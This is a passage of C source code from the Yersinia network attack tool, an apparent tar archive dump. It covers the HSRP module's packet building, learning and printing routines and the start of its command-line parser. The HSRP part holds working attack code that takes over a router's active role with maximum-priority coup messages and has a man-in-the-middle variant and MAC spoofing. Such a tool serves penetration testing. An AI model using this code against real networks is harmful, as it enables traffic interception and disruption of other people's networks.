comm_param[HSRP_SIP] = &hsrp_data->sip; comm_param[HSRP_DIP] = &hsrp_data->dip; comm_param[HSRP_SPORT] = &hsrp_data->sport; comm_param[HSRP_DPORT] = &hsrp_data->dport; comm_param[HSRP_VER] = &hsrp_data->version; comm_param[HSRP_OPCODE] = &hsrp_data->opcode; comm_param[HSRP_STATE] = &hsrp_data->state; comm_param[HSRP_HELLO_TIME] = &hsrp_data->hello_time; comm_param[HSRP_HOLD_TIME] = &hsrp_data->hold_time; comm_param[HSRP_PRIORITY] = &hsrp_data->priority; comm_param[HSRP_GROUP] = &hsrp_data->group; comm_param[HSRP_RESERVED] = &hsrp_data->reserved; comm_param[HSRP_AUTHDATA] = &hsrp_data->authdata; comm_param[HSRP_VIRTUALIP] = &hsrp_data->virtual_ip; comm_param[16] = NULL; comm_param[17] = NULL; return 0; } void hsrp_th_send_raw(void *arg) { struct attacks *attacks=NULL; struct hsrp_data *hsrp_data; sigset_t mask; u_int32_t lbl32; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("hsrp_send_discover pthread_sigmask()",errno); hsrp_th_send_raw_exit(attacks); } hsrp_data = attacks->data; /* libnet fix */ lbl32 = htonl(hsrp_data->sip); memcpy((void *)&hsrp_data->sip, &lbl32, 4); lbl32 = htonl(hsrp_data->dip); memcpy((void *)&hsrp_data->dip, &lbl32, 4); hsrp_send_packet(attacks); hsrp_th_send_raw_exit(attacks); } void hsrp_th_send_raw_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void hsrp_th_become_active(void *arg) { struct pcap_pkthdr header; struct pcap_data pcap_aux; struct attacks *attacks=NULL; struct hsrp_data *hsrp_data; struct timeval now; sigset_t mask; struct attack_param *param=NULL; u_int32_t lbl32; dlist_t *p; struct interface_data *iface_data; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("hsrp_send_discover pthread_sigmask()",errno); hsrp_th_become_active_exit(attacks); } hsrp_data = attacks->data; param = attacks->params; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if (hsrp_learn_packet(attacks, NULL, &attacks->attack_th.stop, attacks->data,&header, &pcap_aux) < 0) hsrp_th_become_active_exit(attacks); hsrp_data->opcode = HSRP_TYPE_COUP; hsrp_data->state = HSRP_STATE_SPEAK; if (attacks->attack == HSRP_ATTACK_BECOME_ACTIVE) { memcpy((void *)&hsrp_data->sip, (void *)param[HSRP_SOURCE_IP].value, 4); } else if (attacks->attack == HSRP_ATTACK_MITM_BECOME_ACTIVE) { /* Get interface's ip address */ p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, pcap_aux.iface); iface_data = (struct interface_data *) dlist_data(p); hsrp_data->sip = ntohl(inet_addr(iface_data->ipaddr)); /* libnet fix */ lbl32 = ntohl(hsrp_data->sip); memcpy((void *)&hsrp_data->sip, &lbl32, 4); } /* libnet fix */ hsrp_data->dip = inet_addr("224.0.0.2"); /* Max priority */ hsrp_data->priority = 0xFF; hsrp_send_packet(attacks); hsrp_data->opcode = HSRP_TYPE_HELLO; hsrp_data->state = HSRP_STATE_ACTIVE; thread_create(&attacks->helper_th.id, &hsrp_send_hellos, attacks); while (!attacks->attack_th.stop) thread_usleep(200000); hsrp_th_become_active_exit(attacks); } void hsrp_th_become_active_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void hsrp_send_hellos(void *arg) { u_int32_t ret; u_int16_t secs; struct timeval hello; struct attacks *attacks; struct hsrp_data *hsrp_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; hsrp_data = attacks->data; secs = 0; write_log(0,"\n hsrp_helper: %d started...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (secs == hsrp_data->hello_time) /* Send HSRP hello...*/ { hsrp_send_packet(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," hsrp_helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } int8_t hsrp_send_packet(struct attacks *attacks) { libnet_ptag_t t; int sent; u_int16_t len; struct hsrp_data *hsrp_data; u_int8_t *hsrp_packet, *aux; libnet_t *lhandler; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; hsrp_data = attacks->data; hsrp_packet = calloc(1, HSRP_PACKET_SIZE); aux = hsrp_packet; *aux = hsrp_data->version; aux++; *aux = hsrp_data->opcode; aux++; *aux = hsrp_data->state; aux++; *aux = hsrp_data->hello_time; aux++; *aux = hsrp_data->hold_time; aux++; *aux = hsrp_data->priority; aux++; *aux = hsrp_data->group; aux++; *aux = hsrp_data->reserved; aux++; len = strlen(hsrp_data->authdata); memcpy((void *)aux, (void *)hsrp_data->authdata, (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH); /* aux += (len < HSRP_AUTHDATA_LENGTH) ? len : HSRP_AUTHDATA_LENGTH;*/ aux += 8; (*(u_int32_t *)aux) = (u_int32_t) htonl(hsrp_data->virtual_ip); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_udp( hsrp_data->sport, /* source port */ hsrp_data->dport, /* destination port */ LIBNET_UDP_H + HSRP_PACKET_SIZE, /* packet size */ 0, /* checksum */ hsrp_packet, /* payload */ HSRP_PACKET_SIZE, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build udp datagram",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + HSRP_PACKET_SIZE,/* length */ 0x10, /* TOS */ 0, /* IP ID */ 0, /* IP Frag */ 1, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ hsrp_data->sip, /* src ip */ hsrp_data->dip, /* destination ip */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ipv4 packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( hsrp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? hsrp_data->mac_source : iface_data->etheraddr, /* ethernet source */ ETHERTYPE_IP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_HSRP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_HSRP]++; } free(hsrp_packet); return 0; } /* * */ int8_t hsrp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header, struct pcap_data *pcap_aux) { struct hsrp_data *hsrp_data; u_int8_t got_hsrp_packet = 0; u_int8_t *packet; dlist_t *p; struct interface_data *iface_data; hsrp_data = data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else { iface_data = NULL; } while (!got_hsrp_packet && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_HSRP, NO_TIMEOUT); if (*stop) { free(packet); return -1; } pcap_aux->header = header; pcap_aux->packet = packet; if (!hsrp_load_values((struct pcap_data *)pcap_aux, hsrp_data)) got_hsrp_packet = 1; } /* While got */ free(packet); return 0; } int8_t hsrp_load_values(struct pcap_data *data, void *values) { struct libnet_ethernet_hdr *ether; struct hsrp_data *hsrp; u_char *hsrp_data, *ip_data, *udp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif hsrp = (struct hsrp_data *)values; ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); hsrp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ memcpy(hsrp->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(hsrp->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+12),4); hsrp->sip = ntohl(aux_long); #else hsrp->sip = ntohl(*(u_int32_t *)(ip_data+12)); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+16),4); hsrp->dip = ntohl(aux_long); #else hsrp->dip = ntohl(*(u_int32_t *)(ip_data+16)); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); hsrp->sport = ntohs(aux_short); #else hsrp->sport = ntohs(*(u_int16_t *)udp_data); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); hsrp->dport = ntohs(aux_short); #else hsrp->dport = ntohs(*(u_int16_t *)(udp_data+2)); #endif /* Version */ hsrp->version = *((u_char *)hsrp_data); /* Opcode */ hsrp->opcode = *((u_char *)hsrp_data+1); /* State */ hsrp->state = *((u_char *)hsrp_data+2); /* Hello time */ hsrp->hello_time = *((u_char *)hsrp_data+3); /* Hold time */ hsrp->hold_time = *((u_char *)hsrp_data+4); /* Priority */ hsrp->priority = *((u_char *)hsrp_data+5); /* Group */ hsrp->group = *((u_char *)hsrp_data+6); /* Reserved */ hsrp->reserved = *((u_char *)hsrp_data+7); /* Authdata */ memcpy(hsrp->authdata, (hsrp_data+8), HSRP_AUTHDATA_LENGTH); /* virtual ip */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(hsrp_data+16),4); hsrp->virtual_ip = ntohl(aux_long); #else hsrp->virtual_ip = ntohl(*(u_int32_t *)(hsrp_data+16)); #endif return 0; } int8_t hsrp_init_attribs(struct term_node *node) { struct hsrp_data *hsrp_data; u_int32_t lbl32; hsrp_data = node->protocol[PROTO_HSRP].tmp_data; /* HSRP stuff */ hsrp_data->version = HSRP_DFL_VERSION; hsrp_data->opcode = HSRP_DFL_TYPE; hsrp_data->state = HSRP_DFL_STATE; hsrp_data->hello_time = HSRP_DFL_HELLO_TIME; hsrp_data->hold_time = HSRP_DFL_HOLD_TIME; hsrp_data->priority = HSRP_DFL_PRIORITY; hsrp_data->group = HSRP_DFL_GROUP; hsrp_data->reserved = HSRP_DFL_RESERVED; memcpy((void *)hsrp_data->authdata, (void *) HSRP_DFL_AUTHDATA, HSRP_AUTHDATA_LENGTH); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&hsrp_data->virtual_ip, (void *) &lbl32, 4); hsrp_data->sport = HSRP_DFL_PORT; hsrp_data->dport = HSRP_DFL_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&hsrp_data->sip, (void *)&lbl32, sizeof(u_int32_t)); hsrp_data->dip = ntohl(inet_addr("224.0.0.2")); attack_gen_mac(hsrp_data->mac_source); hsrp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:5e:00:00:02",hsrp_data->mac_dest); return 0; } /* * Return formated strings of each HSRP field */ char ** hsrp_get_printable_packet(struct pcap_data *data) { struct libnet_ethernet_hdr *ether; char *hsrp_data, *udp_data, *ip_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_HSRP].nparams, protocols[PROTO_HSRP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (char *) (data->packet + LIBNET_ETH_H); udp_data = (char *) (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); hsrp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+12), 4); strncpy(field_values[HSRP_SIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16); #else strncpy(field_values[HSRP_SIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 12)) , LIBNET_DONT_RESOLVE), 16); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+16), 4); strncpy(field_values[HSRP_DIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE), 16); #else strncpy(field_values[HSRP_DIP], libnet_addr2name4((*(u_int32_t *)(ip_data + 16)), LIBNET_DONT_RESOLVE), 16); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); snprintf(field_values[HSRP_SPORT], 6, "%d", ntohs(aux_short)); #else snprintf(field_values[HSRP_SPORT], 6, "%d", ntohs(*(u_int16_t *)udp_data)); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); snprintf(field_values[HSRP_DPORT], 6, "%d", ntohs(aux_short)); #else snprintf(field_values[HSRP_DPORT], 6, "%d", ntohs(*(u_int16_t *)(udp_data+2))); #endif /* Version */ snprintf(field_values[HSRP_VER], 3, "%02X", *((u_char *)hsrp_data)); /* Opcode */ snprintf(field_values[HSRP_OPCODE], 3, "%02X", *((u_char *)hsrp_data+1)); /* State */ snprintf(field_values[HSRP_STATE], 3, "%02X", *((u_char *)hsrp_data+2)); /* Hello time */ snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", *((u_char *)hsrp_data+3)); /* Hold time */ snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", *((u_char *)hsrp_data+4)); /* Priority */ snprintf(field_values[HSRP_PRIORITY], 3, "%02X", *((u_char *)hsrp_data+5)); /* Group */ snprintf(field_values[HSRP_GROUP], 3, "%02X", *((u_char *)hsrp_data+6)); /* Reserved */ snprintf(field_values[HSRP_RESERVED], 3, "%02X", *((u_char *)hsrp_data+7)); /* Authdata */ strncpy(field_values[HSRP_AUTHDATA], (hsrp_data+8), HSRP_AUTHDATA_LENGTH); /* Virtual ip */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (hsrp_data+16), 4); strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4(aux_long, LIBNET_DONT_RESOLVE),16); #else strncpy(field_values[HSRP_VIRTUALIP], libnet_addr2name4((*(u_int32_t *)(hsrp_data + 16)), LIBNET_DONT_RESOLVE), 16); #endif return (char **)field_values; } char ** hsrp_get_printable_store(struct term_node *node) { struct hsrp_data *hsrp; char **field_values; /* smac + dmac + sip + dip + sport + dport + ver + opcode + state + hello + * hold + priority + group + reserved + auth + vip + null = 17 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_HSRP].nparams, protocols[PROTO_HSRP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) hsrp = protocols[PROTO_HSRP].default_values; else hsrp = (struct hsrp_data *) node->protocol[PROTO_HSRP].tmp_data; /* Source MAC */ snprintf(field_values[HSRP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", hsrp->mac_source[0], hsrp->mac_source[1], hsrp->mac_source[2], hsrp->mac_source[3], hsrp->mac_source[4], hsrp->mac_source[5]); /* Destination MAC */ snprintf(field_values[HSRP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", hsrp->mac_dest[0], hsrp->mac_dest[1], hsrp->mac_dest[2], hsrp->mac_dest[3], hsrp->mac_dest[4], hsrp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address(hsrp->sip , field_values[HSRP_SIP], 16); /* Destination IP */ parser_get_formated_inet_address(hsrp->dip , field_values[HSRP_DIP], 16); /* Source port */ snprintf(field_values[HSRP_SPORT], 6, "%05hd", hsrp->sport); /* Destination port */ snprintf(field_values[HSRP_DPORT], 6, "%05hd", hsrp->dport); /* Version */ snprintf(field_values[HSRP_VER], 3, "%02X", hsrp->version); /* Opcode */ snprintf(field_values[HSRP_OPCODE], 3, "%02X", hsrp->opcode); /* State */ snprintf(field_values[HSRP_STATE], 3, "%02X", hsrp->state); /* Hello time */ snprintf(field_values[HSRP_HELLO_TIME], 3, "%02X", hsrp->hello_time); /* Hold time */ snprintf(field_values[HSRP_HOLD_TIME], 3, "%02X", hsrp->hold_time); /* Priority */ snprintf(field_values[HSRP_PRIORITY], 3, "%02X", hsrp->priority); /* Group */ snprintf(field_values[HSRP_GROUP], 3, "%02X", hsrp->group); /* Reserved */ snprintf(field_values[HSRP_RESERVED], 3, "%02X", hsrp->reserved); /* Auth data */ strncpy(field_values[HSRP_AUTHDATA], hsrp->authdata, 8); /* Virtual IP */ parser_get_formated_inet_address(hsrp->virtual_ip , field_values[HSRP_VIRTUALIP], 16); return (char **)field_values; } int8_t hsrp_update_field(int8_t state, struct term_node *node, void *value) { struct hsrp_data *hsrp_data; u_int8_t len; if (node == NULL) hsrp_data = protocols[PROTO_HSRP].default_values; else hsrp_data = node->protocol[PROTO_HSRP].tmp_data; switch(state) { /* Source MAC */ case HSRP_SMAC: memcpy((void *)hsrp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case HSRP_DMAC: memcpy((void *)hsrp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case HSRP_VER: hsrp_data->version = *(u_int8_t *)value; break; /* Op */ case HSRP_OPCODE: hsrp_data->opcode = *(u_int8_t *)value; break; /* State */ case HSRP_STATE: hsrp_data->state = *(u_int8_t *)value; break; /* Hello time */ case HSRP_HELLO_TIME: hsrp_data->hello_time = *(u_int8_t *)value; break; /* Hold time */ case HSRP_HOLD_TIME: hsrp_data->hold_time = *(u_int8_t *)value; break; /* Priority */ case HSRP_PRIORITY: hsrp_data->priority = *(u_int8_t *)value; break; /* Group */ case HSRP_GROUP: hsrp_data->group = *(u_int8_t *)value; break; /* Reserved */ case HSRP_RESERVED: hsrp_data->reserved = *(u_int8_t *)value; break; /* Authdata */ case HSRP_AUTHDATA: len = strlen(value); strncpy(hsrp_data->authdata, value, (len > HSRP_AUTHDATA_LENGTH) ? HSRP_AUTHDATA : len); break; /* Virtual IP */ case HSRP_VIRTUALIP: hsrp_data->virtual_ip = *(u_int32_t *)value; break; /* SPort */ case HSRP_SPORT: hsrp_data->sport = *(u_int16_t *)value; break; /* DPort */ case HSRP_DPORT: hsrp_data->dport = *(u_int16_t *)value; break; /* Source IP */ case HSRP_SIP: hsrp_data->sip = *(u_int32_t *)value; break; /* Destination IP */ case HSRP_DIP: hsrp_data->dip = *(u_int32_t *)value; break; default: break; } return 0; } int8_t hsrp_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/parser.c0000644000175000017500000014436712234207266013420 0ustar nknk/* parser.c * Main command line parser and parser utilities * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: parser.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include #include #include "parser.h" static u_int8_t valid_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; /* * Initial command line arguments parser. * Return -1 on error. Return 0 if Ok. * Use global protocol_defs */ int8_t parser_initial(struct term_tty *tty, struct cl_args *cl_args, int argc, char **argv) { int8_t i; for (i=1; i<(argc); i++) { if (!strcmp(argv[i],"-h") || !strcmp(argv[i],"--help")) { parser_help(); break; } else if (!strcmp(argv[i],"-V") || !strcmp(argv[i],"--Version")) { printf("%s %s\n", PACKAGE, VERSION ); return -1; } else if (!strcmp(argv[i],"-I") || !strcmp(argv[i],"--Interactive")) { #ifdef HAS_CURSES tty->interactive = 1; #else printf(" Hmmm... it seems that you don't have ncurses support or Yersinia\n"); printf(" has been configured with --disable-ncurses option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-G") || !strcmp(argv[i],"--gtk")) { #ifdef HAVE_GTK tty->gtk = 1; #else printf(" Hmmm... it seems that you don't have gtk support or Yersinia\n"); printf(" has been configured with --disable-gtk option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-D") || !strcmp(argv[i],"--Daemon")) { #ifdef HAVE_REMOTE_ADMIN tty->daemonize = 1; #else printf(" Hmmm... it seems that Yersinia has been configured with\n"); printf(" the --disable-admin option...\n"); printf(" Go and get it!!\n\n"); return -1; #endif } else if (!strcmp(argv[i],"-d") || !strcmp(argv[i],"--debug")) { tty->debug = 1; } else if (!strcmp(argv[i], "-c") || !strcmp(argv[i], "--conffile")) { i++; strncpy(tty->config_file, argv[i], sizeof(tty->config_file)); } else if (!strcmp(argv[i],"-l") || !strcmp(argv[i],"--logfile")) { i++; if ((tty->log_file = fopen(argv[i], "a+")) == NULL) { printf("%s: Error opening logfile %s\n", argv[0], argv[i]); /* If the logfile cannot be opened, the default is yersinia.log */ if ((tty->log_file = fopen("yersinia.log", "a+")) == NULL) { printf("%s: Error opening logfile 'yersinia.log'\n", argv[0]); return -1; } } } else if (argv[i][0] != '-')/* Ok, it is a protocol...*/ { /* Nonexistant protocol (or not visible)...*/ if (((cl_args->proto_index = protocol_proto2index(argv[i])) < 0)) { printf("%s: Unknown protocol %s!!\n", argv[0], argv[i]); return -1; } cl_args->count = argc-i; cl_args->argv_tmp = &argv[i]; break; } else { printf("%s: Unknown option %s!!\n", argv[0], argv[i]); return -1; } } /* for...*/ if (!tty->log_file) { if ((tty->log_file = fopen("yersinia.log", "a+")) == NULL) { printf("%s: Error opening logfile 'yersinia.log'\n", argv[0]); return -1; } } setvbuf(tty->log_file, NULL, _IONBF, 0); return 0; } /* * Look if *number* of the characters * are digits. * Return -1 on error. Return 0 if Ok. */ int8_t parser_are_digits( int8_t *charac, int8_t number ) { while (number > 0) { if ( !isdigit((int)*charac) ) return -1; charac++; number--; } return 0; } /* * Convert a string to lowercase * Return nothing. */ void parser_str_tolower( char *charac ) { while (*charac) { *charac = (char)tolower((int)*charac); charac++; } } /* * Verify a MAC address... * Return -1 if error */ int8_t parser_vrfy_mac( char *address, u_int8_t *destination ) { char *substr, *aux; u_int8_t data[]={0,0,0}; u_int16_t i=0, j; substr = address; /* trim left spaces (can exist in the configuration file) */ /* while (*substr == ' ') substr++;*/ aux = substr; while ( (substr = strchr(substr, ':') )) { if (substr == aux) return -1; if ( (substr-aux) > (sizeof(data)-1)) return -1; /* Overflowed? */ for(j=0; j<(substr-aux);j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[i]=strtol((char *)data, (char **)NULL, 16); i++; if (i==6) return -1; substr++; aux=substr; } if (!*aux || (i<5) ) return -1; for(j=0; *aux && !isspace(*aux); j++,aux++) { if ( !isxdigit((int)(*aux)) ) return -1; data[j]=*aux; } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[i] = strtol((char *)data, (char **)NULL, 16); return 0; } /* * Verify a bridge id * Return 1 if error */ int8_t parser_vrfy_bridge_id( char *address, u_int8_t *destination ) { char *substr, *aux; u_int8_t data[]={0,0,0}; u_int16_t i, j, k=0; aux = substr = address; for (i=0; i<2; i++) { for(j=0; j<2;j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[k]=strtol((char *)data, (char **)NULL, 16); k++; aux+= 2*sizeof(u_char); } if (*aux != '.') return -1; aux++; for (i=0; i<6; i++) { for(j=0; j<2;j++) { if ( !isxdigit((int)(*(aux+j))) ) return -1; data[j]=*(aux+j); } data[j]=0; if ( strtol((char *)data, (char **)NULL, 16) > 255 || strtol((char *)data, (char **)NULL, 16) < 0 ) return -1; destination[k]=strtol((char *)data, (char **)NULL, 16); k++; aux+= 2*sizeof(u_char); } return 0; } /* * Help function. What do you want to do today? */ void parser_help(void) { u_int8_t i, first=1; printf("%s\n", bin_data); printf("\nUsage: %s [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]\n", PACKAGE); printf(" -V Program version.\n"); printf(" -h This help screen.\n"); printf(" -G Graphical mode (GTK).\n"); printf(" -I Interactive mode (ncurses).\n"); printf(" -D Daemon mode.\n"); printf(" -d Debug.\n"); printf(" -l logfile Select logfile.\n"); printf(" -c conffile Select config file.\n"); printf(" protocol One of the following:"); for(i=0; i< MAX_PROTOCOLS; i++) { if (protocols[i].visible) { if (first) { printf(" %s",protocols[i].name_comm); first = 0; } else printf(", %s", protocols[i].name_comm); } } printf(".\n\nTry '%s protocol -h' to see protocol_options help\n\n", PACKAGE); printf("Please, see the man page for a full list of options and many examples.\n"); printf("Send your bugs & suggestions to the Yersinia developers \n\n"); } /* * */ int8_t parser_command2index(register const struct attack *lp, register int8_t v) { int i=0; while (lp->s != NULL) { if (lp->v == v) return (i); ++lp; ++i; } return (i); } int8_t parser_get_formated_inet_address(u_int32_t in, char *inet, u_int16_t inet_len) { char *p; u_int32_t aux_long; aux_long = htonl(in); p = (char *)&aux_long; if (snprintf(inet, inet_len,"%03d.%03d.%03d.%03d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; return 0; } int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up) { char *p; u_int32_t aux_long; aux_long = htonl(in); p = (char *)&aux_long; if (fill_up) { if (snprintf(inet, inet_len,"%03d.%03d.%03d.%03d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; } else { if (snprintf(inet, inet_len,"%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)) < 0) return -1; } return 0; } int8_t parser_get_inet_aton(char *inet, struct in_addr *in) { char *stripped_ip, *tmp, dots=0; char st[4]; char *save_pointer; u_int8_t i, j; if ( (strlen(inet) < 7) || (strlen(inet)>15) ) return -1; if ( (inet[0] == '.') || (inet[strlen(inet)-1] == '.') || (!isdigit(inet[0])) || (!isdigit(inet[strlen(inet)-1])) ) return -1; for (i=1; i< (strlen(inet)-1); i++) { if (inet[i] == '.') { dots++; if (inet[i+1] == '.') return -1; } else { if (!isdigit(inet[i])) return -1; } } if (dots!=3) return -1; if ((stripped_ip = calloc(1, 16)) == NULL) { write_log(0, "Error in calloc"); return -1; } memcpy((void *)stripped_ip, (void *)inet, strlen(inet)); j = 0; tmp = strtok_r(stripped_ip, ".", &save_pointer); for (i=0; i < 4; i++) { if (tmp) { snprintf(st, 4, "%d", atoi(tmp)); memcpy((void *)(stripped_ip + j), (void *)st, strlen(st)); j += strlen(st); if (i < 3) { stripped_ip[j] = '.'; j++; } else stripped_ip[j] = '\0'; tmp = strtok_r(NULL, ".", &save_pointer); } } if (inet_aton(stripped_ip, in) <= 0) { free(stripped_ip); write_log(0, "Error in inet_aton\n"); return -1; } free(stripped_ip); return 0; } int8_t parser_get_random_string(u_int8_t *string, u_int8_t len) { u_int8_t total, j; struct timeval tv; #ifdef HAVE_RAND_R u_int32_t i; #endif total = 0; if (!string) return -1; while (total < len-1) { if (gettimeofday(&tv, NULL) < 0) { thread_error("Error in gettimeofday", errno); return -1; } #ifdef HAVE_RAND_R i = (u_int32_t)tv.tv_usec; j = rand_r(&i); #else if 